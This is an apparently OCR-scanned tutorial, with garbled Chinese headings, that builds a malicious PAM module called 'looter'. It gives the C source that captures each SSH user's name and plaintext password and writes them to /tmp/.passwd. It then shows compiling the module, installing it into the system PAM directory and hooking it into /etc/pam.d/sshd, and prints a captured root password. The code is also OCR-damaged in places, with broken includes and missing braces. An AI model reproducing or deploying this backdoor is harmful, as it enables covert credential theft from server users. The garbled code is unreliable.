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vultr - Ubuntu 16.04 x64
kernel - Linux vultr.guest 4.4.0-174-generic #204-Ubuntu SMP Wed Jan 29 06:41:01
UTC 2020 x86 64 x86 64 x86 64 GNU/Linux

TR
Ubuntu

apt install make gcc libcurl4-openssl-dev libpam0Og-dev

Centos



yum -y install libcurl-devel openssl-devel pam-devel gcc
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#include <stdio.h>

#include <stdlib.h>

#include <curl/curl.h>

#include <string.h>

#include <security/pam_appl.h>
#include <security/pam_modules.h>

#tinclude <unistd.h>

size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)

{

return size * nmemb;

void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.passwd", "a+");
fputs(*message, fp);
fclose(fp);

PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;



PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;

PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get _user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {

return retval;

}

snprintf(message, 2048, "Username %s\nPassword: %s\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;

AIEEZRIE R make —T (Makefile —EEfEEMH)

root@vultr:~# make

gcc -Werror -Wall -fPIC -shared -Xlinker -x -o looter.so looter.c -lcurl
root@vultr:~# 1ls -1

total 20

-rw-r--r-- 1 root root 1155 Mar 20 06:42 looter.c
-rwxr-xr-x 1 root root 12160 Mar 2@ 06:55 looter.so
-rw-r--r-- 1 root root 101 Mar 20 06:43 Makefile
root@vultr:~#
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cp looter.so /lib/x86 64-linux-gnu/security

SAIe4w4E sshd U4

vim /etc/pam.d/sshd

EREEEMIRONE

auth optional looter.so

account optional looter.so

@include common-password

auth

@ccount

B3 ssh Ik

service ssh restart

SR



cat /tmp/.passwd

root@vultr:~# cat /tmp/.looter
Username root

Password: X5a$$(Z8h+a{wRLx

Github

https://github.com/mthbernardes/sshLooterC
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